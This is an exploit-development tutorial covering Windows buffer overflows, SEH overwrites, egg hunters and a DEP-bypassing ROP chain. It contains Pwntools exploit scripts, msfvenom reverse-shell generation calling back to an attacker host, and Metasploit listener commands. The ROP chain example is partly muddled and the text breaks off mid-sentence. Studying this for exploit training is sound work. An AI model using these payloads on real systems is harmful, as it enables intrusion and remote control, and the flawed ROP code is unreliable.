Exploit Development#
Basic Concepts: Assembly & Debugger Essentials#
Registers & Data Sizes#
EBP
(Base Pointer): Points to the base of the current stack frame. Often used to access local variables and function arguments.ESP
(Stack Pointer): Points to the top (lowest address) of the current stack. It changes as data isPUSH
ed andPOP
ped.EIP
(Instruction Pointer): Holds the memory address of the next instruction the CPU will execute. Gaining control ofEIP
is the primary goal of many exploits.
Data Size | Byte Length |
---|---|
Byte | 1 |
Word | 2 |
Dword | 4 |
Qword | 8 |
x64dbg Essential Features & Actions#
x64dbg is a GUI-based debugger, making many operations visual.
- Attaching/Opening a Process:
- File -> Open: To open an executable directly.
- File -> Attach: To attach to a running process.
- Running/Stepping:
- F9 (Run): Continues execution until a breakpoint or crash.
- F7 (Step Into): Executes the current instruction. If it’s a
CALL
, it will go into the called function. - F8 (Step Over): Executes the current instruction. If it’s a
CALL
, it will execute the function and stop at the next instruction after theCALL
. - Shift+F7/F8/F9: Hardware breakpoints (useful for certain anti-debugging techniques).
- Ctrl+F9 (Run to Return): Executes until the current function returns.
- Breakpoints:
- Click on an instruction in the Disassembly View to toggle a software breakpoint.
- Right-click -> Breakpoint -> Toggle Hardware Breakpoint (Access/Write): Set hardware breakpoints on memory addresses (e.g., on
ESP
orEBP
to see when they are written to). - Breakpoints Tab (
B
key): Manage all breakpoints.
- Register View (Top Right Panel):
- Shows all CPU registers (
EAX
,EBX
,ECX
,EDX
,ESI
,EDI
,ESP
,EBP
,EIP
, Flags). - Right-click on a register -> Follow in Dump: Jumps the Memory Dump view to that address.
- Shows all CPU registers (
- Memory Dump View (Bottom Panels):
- Shows raw memory content. You can have multiple dump views open.
- Right-click -> Dump -> ASCII/Unicode/Hex: Change display format.
- Ctrl+G: Go to address.
- Scroll wheel: Scroll through memory.
- Disassembly View (Main Left Panel):
- Shows the assembly code.
- Ctrl+G: Go to address.
- Right-click -> Assemble: Modify instructions directly.
- Right-click -> Search for -> All intermodular calls: Find API calls.
- Right-click -> Search for -> All referenced text strings: Find strings in memory.
- Modules Tab (
M
key):- Lists all loaded DLLs and executables.
- Shows base addresses, sizes, and security mitigations (ASLR, DEP, SafeSEH). This is critical for choosing ROP gadgets or target modules.
- Right-click on module -> Dump memory: Dump the entire module to a file (useful for
rp++
). - Right-click on module -> Go to -> IAT (Import Address Table): View imported functions and their resolved addresses (e.g.,
kernel32.dll!VirtualAlloc
).
- Stack View (Bottom Left Panel):
- Shows the current stack frame.
- Right-click on a stack entry -> Follow in Dump: Examine the memory pointed to by a stack value.
- Right-click -> Search for -> Return addresses: Find return addresses on the stack.
Basic Buffer Overflow Workflow#
This is the bread and butter of exploit development. The goal is to fill a buffer to overwrite the EIP
register.
Step 1: Fuzzing & Crash Reproduction#
Goal: Find input that crashes the application and understand where in memory the crash occurs.
Method: Start with a simple Python script (using Pwntools for network interaction or file writing if applicable) to send progressively larger inputs.
# For a network service (e.g., a simple TCP server) from pwn import * # Context: For 32-bit (i386) or 64-bit (amd64) binaries context.update(arch='i386', os='windows') # Or 'amd64' ip = '192.168.1.100' port = 9999 # Simple fuzzer loop for i in range(100, 2000, 100): # Start with 100 bytes, increment by 100 up to 2000 try: print(f"Fuzzing with {i} bytes...") s = remote(ip, port) # Example: Sending data to a vulnerable 'RECEIVE' function # Adjust according to the application's input method payload = b"A" * i s.send(payload + b"\r\n") # Often, network protocols require newlines # Wait for a response or a timeout. A crash means no response. s.recvuntil(b"Thank you!", timeout=1) s.close() time.sleep(0.5) # Give the server a moment to recover or crash except Exception as e: print(f"[*] Crash detected with {i} bytes! Error: {e}") break
Debugging: When a crash occurs, note the last successful size and the crashing size. Restart the vulnerable application, attach x64dbg, and re-send the crashing input. Observe the
EIP
register.
Step 2: Controlling EIP (Instruction Pointer)#
Goal: Overwrite
EIP
with a known, controllable value (e.g.,0x42424242
orBBBB
).Method: Use
msf-pattern_create
to generate a unique pattern, insert it into your payload, and find the offset toEIP
.Generate a unique pattern:
# Generate a pattern slightly larger than your crashing size (e.g., if crash at 800, generate for 850) msf-pattern_create -l 850
Send the pattern: Insert this pattern into your payload and send it to the vulnerable application.
Check EIP in x64dbg: After the crash, look at the
EIP
register in x64dbg. It will contain a value like0x61413661
. Copy this value.Find the offset:
msf-pattern_offset -q 0x61413661 [*] Exact match at offset 784
Confirm EIP Control: Construct a payload with
A
’s up to the offset, followed byBBBB
(\x42\x42\x42\x42
), and thenC
’s for padding.offset = 784 # From msf-pattern_offset eip_value = b"\x42\x42\x42\x42" # BBBB # Example payload payload = b"A" * offset + eip_value + b"C" * 200 # Add some C's as padding # Send payload and check EIP in x64dbg. It should be 0x42424242.
Step 3: Identifying Bad Characters#
Goal: Determine which bytes cannot be included in your shellcode because they terminate or corrupt the buffer. The null byte (
\x00
) is almost always a bad character. Others include\x0A
(newline),\x0D
(carriage return),\xFF
(form feed), etc., depending on the application’s handling.Method: Send a byte array containing all possible characters (excluding
\x00
initially). Compare what’s sent to what’s received in memory.Generate a full bad character array:
# badchars.py badchars = ( b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) print(badchars)
Send the bad characters in your payload: Place them right after your
EIP
overwrite (or a placeholder like\x42\x42\x42\x42
).from pwn import * offset = 784 eip_value = b"\x42\x42\x42\x42" # From badchars.py, remove \x00 first (most common bad char) badchars = b"\x01\x02\x03...\xff" # Your full bad chars list without \x00 payload = b"A" * offset + eip_value + badchars # Send payload and crash the application
Analyze in x64dbg:
- After the crash (where
EIP
is0x42424242
), followESP
in the Dump view. This is where your bad characters should start. - Carefully compare the bytes displayed in the memory dump with your original
badchars
array. - Look for:
- Truncation: If the sequence suddenly stops, the last byte before the stop is a bad character.
- Modification: If a byte is different from your array, that’s a bad character.
- Skipped bytes: If a byte in your array is simply missing, it’s a bad character.
- Iterate: Remove the identified bad character(s) from your
badchars
array in your Python script. Repeat the process (send payload, crash, examine memory) until the memory dump perfectly matches yourbadchars
array.
- After the crash (where
Step 4: Finding JMP ESP
(or similar redirection)#
- Goal: Find an instruction (
JMP ESP
,CALL ESP
,JMP EAX
whereEAX
points to shellcode) within a loaded module to redirect execution to your shellcode. - Preference: Look for modules loaded without ASLR (Address Space Layout Randomization) and DEP (Data Execution Prevention). These are typically custom DLLs, older system DLLs, or specific application modules.
- Method in x64dbg:
- Go to Modules Tab (
M
key): Inspect loaded modules. Look forASLR: No
andDEP: No
(orNXCOMPAT: No
). Modules often named likeapp.exe
,custom.dll
,some_old_lib.dll
are good candidates. - Search for
JMP ESP
: The opcode forJMP ESP
is\xFF\xE4
.- Right-click in Disassembly View -> Search for -> Command: Type
jmp esp
. - Specify a module: In the search window, select a specific module (the one without ASLR/DEP) from the “Scope” dropdown.
- Find: Review the results.
- Alternatively, search for byte pattern:
- Go to Memory Map (
M
tab) -> Right-click on desired module -> Search -> Byte pattern… - Enter
E4 FF
(for little-endian\xFF\xE4
). - Note the address of a suitable
JMP ESP
instruction.
- Go to Memory Map (
- Right-click in Disassembly View -> Search for -> Command: Type
- Select a valid address: Choose an address that does not contain any of your previously identified bad characters.
- Go to Modules Tab (
Step 5: Generating Shellcode#
- Goal: Create malicious code that achieves your objective (e.g., reverse shell, bind shell).
- Tool:
msfvenom
(part of Metasploit Framework, usually on Kali Linux). Remember to exclude bad characters!
# Basic reverse TCP shell for Windows (x86)
# LHOST: Your Kali IP
# LPORT: Listening port on Kali
# -f c: Output in C array format (easy to copy into Python)
# -b: Bad characters to exclude (add all found bad chars)
# EXITFUNC=thread: Often better for stability; shellcode exits a thread gracefully, not the whole process.
msfvenom -p windows/shell_reverse_tcp LHOST=199.168.1.5 LPORT=4444 -f c -b "\x00\x0a\x0d\x1a" EXITFUNC=thread
# Example output (copy the 'buf' content):
# buf = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x38\xc7\x75\x20\xeb\x04\xb0\xfc\xbb\xe0\x01\x00\x00\x5b\xaf\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x38\xc7\x75\x20\xeb\x04\xb0\xfc\xbb\xe0\x01\x00\x00\x5b\xaf\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x38\xc7\x75\x20\xeb\x04\xb0\xfc\xbb\xe0\x01\x00\x00\x5b\xaf"
Step 6: Constructing the Final Exploit Payload#
Combine all the components using Pwntools.
from pwn import *
from struct import pack
context.update(arch='i386', os='windows') # Or 'amd64'
ip = '192.168.1.100'
port = 9999
offset = 784 # From Step 2
jmp_esp_address = 0x1000296F # Example JMP ESP address from your chosen module (replace with your found address)
# --- NOP sled ---
# A series of NOP instructions (\x90) before your shellcode.
# This acts as a landing zone, allowing slight variations in ESP after redirection.
# 16-32 NOPs is a common starting point.
nops = b"\x90" * 32
# --- Shellcode ---
# Paste the 'buf' content from your msfvenom output here
shellcode = b"\xfc\xe8\x82\x00\x00\x00..." # Your actual shellcode
# --- Payload Construction ---
# 1. Padding A's to reach EIP
# 2. JMP ESP address (to redirect EIP to our NOP sled/shellcode)
# 3. NOP sled
# 4. Your shellcode
# 5. Any extra padding (e.g., C's) to fill the buffer if needed
payload = b"A" * offset
payload += pack("<L", jmp_esp_address) # <L for little-endian 32-bit address>
payload += nops
payload += shellcode
# If the buffer has a fixed total size, calculate remaining padding
# remaining_padding = total_buffer_size - len(payload)
# payload += b"C" * remaining_padding
print(f"Payload length: {len(payload)} bytes")
# --- Send the Exploit ---
try:
print(f"[*] Sending exploit to {ip}:{port}...")
s = remote(ip, port)
s.send(payload + b"\r\n") # Adjust according to target protocol
s.interactive() # Keep connection open for shell interaction
except Exception as e:
print(f"[!] Exploit failed: {e}")
# --- Metasploit Listener (on Kali) ---
# Start this BEFORE running your Python exploit
# Use the same LHOST and LPORT as in your msfvenom command
# sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/shell_reverse_tcp; set LHOST 199.168.1.5; set LPORT 4444; exploit"
Advanced Techniques#
A. Structured Exception Handling (SEH) Overflows#
When direct EIP
control is difficult (e.g., small buffer, filtering), SEH can be a workaround. You overwrite pointers in the exception handler chain.
Workflow:#
Fuzzing & Crash Identification:
- Action: Send progressively larger inputs until the application crashes.
- x64dbg Analysis:
- Attach x64dbg to the vulnerable process.
- Reproduce the crash.
- Go to the Stack view (bottom-left panel).
- Right-click on any stack entry -> SEH Chain. A new window will pop up showing the Structured Exception Handler chain.
- Observe: Look for
nSEH
(Next SEH record) andSEH Handler
addresses. If these addresses contain your input pattern bytes (e.g.,41414141
,42424242
), you’ve successfully identified an SEH overflow. - Goal: Overwrite
nSEH
with ashort jump
instruction andSEH Handler
with aPOP POP RET
(PPR) gadget address. - Reason: When an exception occurs, the CPU jumps to the
SEH Handler
. If this handler is a PPR gadget, it will pop two values off the stack. TheRET
instruction then jumps to the first popped value. By making the first popped value ourshort jump
(placed innSEH
), we can redirect execution to our shellcode.
Find Offset to
nSEH
andSEH
:Action: Use
msf-pattern_create
to generate a unique pattern, insert it into your payload, and send it.x64dbg Analysis:
- After the crash, note the specific values in
nSEH
andSEH Handler
from the SEH Chain window. - The
SEH Handler
address is usually 4 bytes after thenSEH
address in your buffer.
- After the crash, note the specific values in
Tool:
msf-pattern_offset
# Example: If nSEH is 0x41336a41 and SEH Handler is 0x41346a41 msf-pattern_offset -q 0x41336a41 [*] Exact match at offset 128 # This is your offset_to_nseh # For confirmation, you can also check the SEH Handler offset: msf-pattern_offset -q 0x41346a41 [*] Exact match at offset 132 # This should be 4 bytes after nSEH
Find
POP POP RET
(PPR) Gadget:Goal: Find a
POP REG; POP REG; RET
sequence in a module that is not protected bySafeSEH
and ideally not byASLR
.x64dbg Action:
- Go to the Modules Tab (
M
key). - Inspect loaded modules for
SafeSEH: No
andASLR: No
. Common places include custom application DLLs, or older system DLLs if present. - Right-click on the chosen module -> Search for -> Command.
- In the search box, type
pop reg; pop reg; ret
(e.g.,pop eax; pop ebx; ret
). This will try to find the exact sequence. - Alternatively, you can try searching for opcodes: Right-click in the module’s memory dump -> Search -> Byte pattern… Look for patterns like
58 59 C3
(pop eax; pop ecx; ret) or5B 5F C3
(pop ebx; pop edi; ret) for 32-bit.
- Go to the Modules Tab (
Kali Tool:
rp++
:Copy the target module (e.g.,
application.exe
,custom.dll
) from your Windows VM to your Kali machine.Run
rp++
to find PPR gadgets.# Example: if your module is 'vulnerable.dll' rp-win-x86.exe -f vulnerable.dll -r 5 > ppr_gadgets.txt # -r 5 for up to 5 instructions
Open
ppr_gadgets.txt
and search for “pop” keywords followed by “ret”. Select a PPR gadget address.Important: Verify the chosen gadget address in x64dbg. Place a breakpoint at the address (
F2
), run the program, and step through (F7
) to confirm it behaves aspop, pop, ret
.
Craft SEH Payload:
- nSEH Payload: This will be a short jump instruction (e.g.,
JMP SHORT +6
orJMP SHORT +8
) followed by NOPs. The purpose is to jump over theSEH Handler
address that follows it on the stack and land on yourNOP
sled.\xeb\x06
:JMP SHORT +0x08
. This means it jumps 6 bytes relative to the end of the\xeb\x06
instruction. So, it jumps 8 bytes from the start of the\xeb\x06
.- To fill the 4-byte
nSEH
slot:\x90\x90\xeb\x06
. This gives 2 NOPs before the jump, ensuring the total length is 4 bytes.
- Shellcode Placement: Your NOPs and shellcode will go after the
SEH Handler
address in your buffer. The short jump fromnSEH
will land in your NOP sled, which then executes your shellcode.
from pwn import * from struct import pack context.update(arch='i386', os='windows') # Adjust for 64-bit if needed ip = '192.168.1.100' port = 9999 offset_to_nseh = 128 # Example offset from msf-pattern_offset # --- nSEH Payload (4 bytes) --- # JMP SHORT +0x08 (0xeb 0x06) combined with NOPs for 4 bytes. # This will jump over the 4-byte PPR address + 2 NOPs, landing on the NOP sled. nseh_payload = b"\x90\x90\xeb\x06" # NOP NOP JMP SHORT +0x08 # --- SEH Handler (4 bytes) --- # The address of your chosen POP POP RET gadget. # Make sure this address does NOT contain any bad characters. ppr_address = 0x1001A2F0 # Replace with your actual PPR gadget address # --- NOP Sled (landing zone for the short jump) --- # The short jump (from nSEH) will land here. # Add a few NOPs for safety. The short jump will land 8 bytes *from the start of the nSEH instruction*. # So it lands 8 bytes past 'nseh_payload'. Since nseh_payload is 4 bytes, it lands 4 bytes past 'ppr_address'. # Hence, place the NOPs right after 'ppr_address'. nops_after_ppr = b"\x90" * 32 # --- Shellcode --- # Your msfvenom payload (already generated with bad chars excluded). shellcode = b"\xfc\xe8\x82\x00\x00\x00..." # Your actual shellcode # --- Payload Construction --- # 1. Padding (A's) to reach the nSEH overwrite point. # 2. nSEH payload (short jump). # 3. SEH Handler (PPR gadget address). # 4. NOP sled. # 5. Actual shellcode. # 6. Remaining padding (if needed, to fill the buffer to its total size). payload = b"A" * offset_to_nseh payload += nseh_payload payload += pack("<L", ppr_address) # <L for little-endian 32-bit address payload += nops_after_ppr payload += shellcode print(f"Payload length: {len(payload)} bytes") # --- Sending Logic (Example) --- try: print(f"[*] Sending SEH exploit to {ip}:{port}...") s = remote(ip, port) s.send(payload + b"\r\n") # Adjust according to target protocol s.interactive() # Keep connection open for shell interaction except Exception as e: print(f"[!] Exploit failed: {e}") # --- Metasploit Listener (on Kali) --- # Start this BEFORE running your Python exploit # sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/shell_reverse_tcp; set LHOST 192.168.1.5; set LPORT 4444; exploit"
- nSEH Payload: This will be a short jump instruction (e.g.,
B. Overcoming Space Restrictions: EggHunters#
Egg hunters are extremely useful when you have very limited space for your initial overflow (where you control EIP
), but you have a larger, separate buffer elsewhere in memory that you can control. The egg hunter is a tiny piece of shellcode that searches memory for a specific “egg” (a repeated tag, like w00tw00t
) and then executes the larger shellcode that immediately follows the egg.
Workflow:#
Crash & Identify Buffers:
- Action: Find a crash where you can control
EIP
with a small buffer (this is where your egg hunter will go). - Action: Identify a separate, larger buffer in memory that you can also control (e.g., a large HTTP POST body, a file upload, or simply a larger variable that is also vulnerable or consistently placed in memory). This is where your full shellcode will reside.
- x64dbg Analysis: Examine memory during crashes or normal execution to confirm the existence and controllability of both buffers.
- Action: Find a crash where you can control
Generate Egg Hunter Shellcode:
Goal: Create a compact, bad-character-free egg hunter.
Tool:
msfvenom
or a dedicated Python script (likeegghunter.py
from exploit development script sets).# On Kali, generate an x86 egg hunter with a custom 4-byte tag 'w00t'. # Ensure you exclude all known bad characters. msfvenom -p windows/x86/egghunter -t w00t -f python -b "\x00\x0a\x0d\x1a" # The output will provide the 'buf' variable containing the egghunter shellcode.
Note: If using the
windows/x86/egghunter/custom
module inmsfvenom
(which is often preferred for 32-bit systems as it’s more reliable in finding eggs), the command is slightly different:msfvenom -p windows/x86/egghunter/custom EGGTAG=w00t -f python -b "\x00\x0a\x0d\x1a"
Prepare Full Shellcode with Egg:
Goal: Prepend your main
msfvenom
payload with the “egg” marker. The egg marker is your chosen 4-byte tag repeated twice (e.g.,w00t
+w00t
=w00tw00t
).Action:
# Ensure this tag matches the EGGTAG used when generating the egghunter egg_tag = b"w00t" egg_marker = egg_tag * 2 # b"w00tw00t" # Your actual msfvenom shellcode (reverse shell, bind shell, etc.) # Ensure this is also generated with the same bad characters excluded! actual_shellcode = b"\xfc\xe8\x82\x00\x00\x00..." # Replace with your shellcode # This entire buffer will be placed in the *large* controlled memory region. # Add a NOP sled after the shellcode for safety. payload_large_buffer = egg_marker + actual_shellcode + b"\x90" * 50
Construct & Send Payloads:
- Small Buffer Payload: This contains the egg hunter shellcode. Your
EIP
redirection (e.g.,JMP ESP
address) will point to the start of this egg hunter. - Large Buffer Payload: This contains your full shellcode prefixed with the egg marker. It must be sent to the application so it resides in memory when the egg hunter activates. The timing and method of sending this will depend on the specific vulnerability (e.g., as part of a file, a long HTTP POST request).
from pwn import * from struct import pack context.update(arch='i386', os='windows') # Adjust for 64-bit if needed ip = '192.168.1.100' port = 9999 offset_to_eip = 784 # Example offset to EIP for the small buffer jmp_esp_address = 0x1000296F # Example JMP ESP address to redirect to egghunter # --- Egg Hunter Shellcode --- # This is the 'buf' output from msfvenom egghunter generation. egghunter_shellcode = b"\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb..." # Replace with your actual egghunter # --- Full Shellcode (with egg marker) --- egg_marker = b"w00tw00t" # Must match egghunter's tag * 2 actual_shellcode = b"\xfc\xe8\x82\x00\x00\x00..." # Your actual msfvenom reverse shell payload_large_buffer = egg_marker + actual_shellcode + b"\x90" * 50 # Add NOPs for safety # --- Main Payload for the Small Buffer (triggers EIP overwrite) --- # This payload must be small enough to fit the initial overflow. payload_small_buffer = b"A" * offset_to_eip payload_small_buffer += pack("<L", jmp_esp_address) # EIP points to JMP ESP payload_small_buffer += egghunter_shellcode # Add any remaining padding if the small buffer has a fixed total size print(f"Egg Hunter Payload length: {len(egghunter_shellcode)} bytes") print(f"Full Shellcode Buffer length: {len(payload_large_buffer)} bytes") # --- Sending Logic (Example for an HTTP-like scenario) --- # This is highly dependent on the target application's input methods. try: print(f"[*] Sending large buffer (full shellcode) to {ip}:{port}...") conn = remote(ip, port) # Example: send as a POST request body conn.send(b"POST /upload HTTP/1.1\r\n") conn.send(f"Content-Length: {len(payload_large_buffer)}\r\n".encode()) conn.send(b"\r\n") # End of headers conn.send(payload_large_buffer) # Send the shellcode with egg time.sleep(1) # Give the server time to process the large buffer print(f"[*] Sending small buffer (egghunter trigger) to {ip}:{port}...") # Example: send as part of a GET request path # Assuming the vulnerable function is triggered by the GET path conn.send(b"GET /" + payload_small_buffer + b" HTTP/1.1\r\n\r\n") conn.interactive() # Interact with the shell once triggered except Exception as e: print(f"[!] Exploit failed: {e}") # --- Metasploit Listener (on Kali) --- # Start this BEFORE running your Python exploit # sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/shell_reverse_tcp; set LHOST 192.168.1.5; set LPORT 4444; exploit"
- Small Buffer Payload: This contains the egg hunter shellcode. Your
C. Return-Oriented Programming (ROP) - Bypassing DEP#
DEP (Data Execution Prevention) prevents code from executing in data segments (like the stack or heap). ROP bypasses this by chaining together small, legitimate code sequences (“gadgets”) already present in executable memory (e.g., DLLs) that end with a RET
instruction. These gadgets perform specific actions (e.g., popping values into registers, performing arithmetic, calling functions).
Workflow:#
Identify Vulnerable Module:
- x64dbg Modules Tab (
M
key): This is crucial. Look for modules with:ASLR: No
: Essential for fixed gadget addresses.DEP: No
(orNXCOMPAT: No
): Confirms that code in this module can be executed.
- Typical candidates are older custom DLLs, specific application executables, or occasionally older versions of common system DLLs on less patched systems.
- Note the Base Address: This is vital for calculating gadget offsets.
- x64dbg Modules Tab (
Find ROP Gadgets:
Tool:
rp++
(Kali): This is the go-to for finding gadgets. Copy the target module from your Windows VM to Kali.Bash
# Example for a 32-bit DLL # -f: Specifies the target binary/DLL # -r 5: Searches for gadgets with up to 5 instructions (adjust as needed, smaller is usually better) rp-win-x86.exe -f /path/to/your/vulnerable.dll -r 5 > rop_gadgets.txt
- Open
rop_gadgets.txt
and search for common gadget patterns:pop reg ; ret
: To control register values (e.g.,pop eax ; ret
).xchg reg, esp ; ret
: To pivot the stack pointer.- Arithmetic gadgets:
add eax, ecx ; ret
,sub eax, ebx ; ret
. mov [reg], reg ; ret
(write-what-where): To write arbitrary values to arbitrary memory.call [reg]
: To call functions indirectly.
- Open
x64dbg (Manual Search):
- Right-click in Disassembly View -> Search for -> Command.
- Type patterns like
pop eax
, thenret
. Repeat forpop ecx
,ret
, etc. - You can set breakpoints on found
RET
instructions and observe register states to understand gadget behavior.
Construct the ROP Chain:
Goal: The most common DEP bypass is to call an API function like
VirtualAlloc
orVirtualProtect
to mark a section of memory (where your shellcode is placed) as executable.VirtualAlloc
Prototype:LPVOID WINAPI VirtualAlloc( _In_opt_ LPVOID lpAddress, // Address to start allocation (0 for system to choose) _In_ SIZE_T dwSize, // Size of memory (e.g., 0x1000 = 4KB page) _In_ DWORD flAllocationType, // MEM_COMMIT | MEM_RESERVE (0x1000 | 0x2000 = 0x3000) _In_ DWORD flProtect // PAGE_EXECUTE_READWRITE (0x40) );
Strategy: Your ROP chain will carefully manipulate registers and the stack to push the necessary arguments for
VirtualAlloc
onto the stack, then callVirtualAlloc
, and finally jump to the newly executable memory containing your shellcode.
from pwn import * from struct import pack context.update(arch='i386', os='windows') ip = '192.168.1.100' port = 9999 offset_to_eip = 784 # Offset to EIP from your initial buffer overflow # --- Module Information --- # Base address of your vulnerable module (e.g., from x64dbg Modules tab) MODULE_BASE = 0x10000000 # Actual address of VirtualAlloc in kernel32.dll (find this in x64dbg's IAT of a stable module) # Right-click on kernel32.dll in Modules tab -> Go to -> IAT -> Find VirtualAllocStub or VirtualAlloc VIRTUAL_ALLOC_ADDRESS = 0x76DA38C0 # Example address. This will change per OS/patch. # --- ROP Gadgets (Replace with your found gadget addresses!) --- # Use rp++ output and add MODULE_BASE to the offsets. POP_EAX_RET = MODULE_BASE + 0x123456 # Example: pop eax ; ret POP_EBX_RET = MODULE_BASE + 0x654321 # Example: pop ebx ; ret POP_ECX_RET = MODULE_BASE + 0x987654 # Example: pop ecx ; ret ADD_EAX_ECX_RET = MODULE_BASE + 0xabcdef # Example: add eax, ecx ; ret MOV_EAX_MEM_EAX_RET = MODULE_BASE + 0xdeadb0 # Example: mov eax, dword ptr [eax] ; ret (for IAT lookup) MOV_MEM_ESI_EAX_RET = MODULE_BASE + 0xfedcba # Example: mov dword ptr [esi], eax ; ret (write-what-where) INC_ESI_RET = MODULE_BASE + 0x1a2b3c # Example: inc esi ; ret (or similar for stack pivot) XCHG_EAX_ESP_RET = MODULE_BASE + 0x3c2b1a # Example: xchg eax, esp ; ret (for stack pivot) JMP_EAX = MODULE_BASE + 0x5b4d3e # Example: jmp eax (could be a final jump or for VirtualAlloc) # --- ROP Chain Construction --- rop_chain = b"" # Step 1: Get the actual address of VirtualAlloc into a controlled register (e.g., EAX). # If VirtualAlloc is in a non-ASLR module's IAT, you can usually read its address directly. # If not, you might need to use `mov eax, dword [IAT_ENTRY]` gadget. # Method A: Directly pop VirtualAlloc address (simplest if address is known and has no bad bytes) # rop_chain += pack("<L", POP_EAX_RET) # rop_chain += pack("<L", VIRTUAL_ALLOC_ADDRESS) # Method B: Look up VirtualAlloc via IAT (more robust) # Find the IAT entry for VirtualAlloc in your non-ASLR module. # E.g., if MODULE_BASE + 0x5000 is where VirtualAlloc's IAT entry is. VIRTUAL_ALLOC_IAT_ENTRY = MODULE_BASE + 0x5000 # Replace with actual IAT entry for VirtualAlloc # Pop IAT entry address into EAX rop_chain += pack("<L", POP_EAX_RET) rop_chain += pack("<L", VIRTUAL_ALLOC_IAT_ENTRY) # Dereference EAX to get the real VirtualAlloc address rop_chain += pack("<L", MOV_EAX_MEM_EAX_RET) # mov eax, dword ptr [eax] ; ret # At this point, EAX contains the actual KERNEL32!VirtualAlloc address. # Step 2: Set up the stack for VirtualAlloc arguments and prepare the return. # The arguments for VirtualAlloc will be placed directly on the stack after the current EIP's instruction. # After VirtualAlloc executes, it will return to the address immediately following its arguments on the stack. # This return address should point to your shellcode. # Find a gadget to pivot ESP to where the arguments should be. # This is often `xchg eax, esp ; ret` or `mov esp, eax ; ret`. # Let's assume we want to call VirtualAlloc immediately, and its arguments # will be placed directly after the call. # We need to make ESP point to a location where we can then place the VirtualAlloc arguments, # and then finally call VirtualAlloc. # Common pattern: Pop target arguments into registers, then push them to stack as needed. # OR: find a `call [eax]` or `jmp eax` after EAX holds VirtualAlloc address. # Simple approach for VirtualAlloc: # After EAX has VIRTUAL_ALLOC_ADDRESS: rop_chain += pack("<L", POP_EBX_RET) # pop ebx ; ret (will be VirtualAlloc's return address) # This is where VirtualAlloc will return to after execution. Make it point to your NOP sled/shellcode. # Calculate where shellcode will be in the buffer: SHELLCODE_LANDING_ADDRESS = offset_to_eip + len(rop_chain) + 4 + 0x100 # Adjust 0x100 for NOP sled rop_chain += pack("<L", SHELLCODE_LANDING_ADDRESS) # Dummy Return Address for VirtualAlloc # Arguments for VirtualAlloc (placed directly on stack): # lpAddress = 0 (NULL) rop_chain += pack("<L", 0x00000000) # dwSize = 0x1000 (4KB) rop_chain += pack("<L", 0x00001000) # flAllocationType = 0x3000 (MEM_COMMIT | MEM_RESERVE) rop_chain += pack("<L", 0x00003000) # flProtect = 0x40 (PAGE_EXECUTE_READWRITE) rop_chain += pack("<L", 0x00000040) # After these arguments, the next thing on the stack is implicitly where # `VirtualAlloc` will return to. Ensure this matches `SHELLCODE_LANDING_ADDRESS`. # Final jump to VirtualAlloc (now on top of stack from the initial `POP_EAX_RET` value) rop_chain += pack("<L", JMP_EAX) # EAX holds VirtualAlloc address, jump to it. # --- Shellcode --- shellcode_nops = b"\x90" * 32 # NOP sled for reliability shellcode = b"\xfc\xe8\x82\x00\x00\x00..." # Your actual msfvenom shellcode # --- Full Payload for the overflow --- payload = b"A" * offset_to_eip payload += rop_chain # EIP will be overwritten with the start of your ROP chain payload += shellcode_nops payload += shellcode # --- Handling Null Bytes in ROP Arguments --- # If values like 0x00000000, 0x00001000, 0x00003000, 0x00000040 contain bad characters (e.g., \x00), # you cannot directly `pack` them into the payload if the buffer terminates on null bytes. # You need more complex gadgets to construct these values in registers and push them. # Example for constructing a value like 0x00000040 if \x00 is bad: # 0x40 = (0x80808080 + 0x7F7F7FC0) (avoiding nulls with addition) # This requires: # 1. Pop an arbitrary non-null value (e.g., 0x80808080) into EAX. # rop_chain += pack("<L", POP_EAX_RET) # rop_chain += pack("<L", 0x80808080) # 2. Pop the second part (0x7F7F7FC0) into ECX. # rop_chain += pack("<L", POP_ECX_RET) # rop_chain += pack("<L", 0x7F7F7FC0) # 3. Add them: `add eax, ecx ; ret`. Now EAX holds 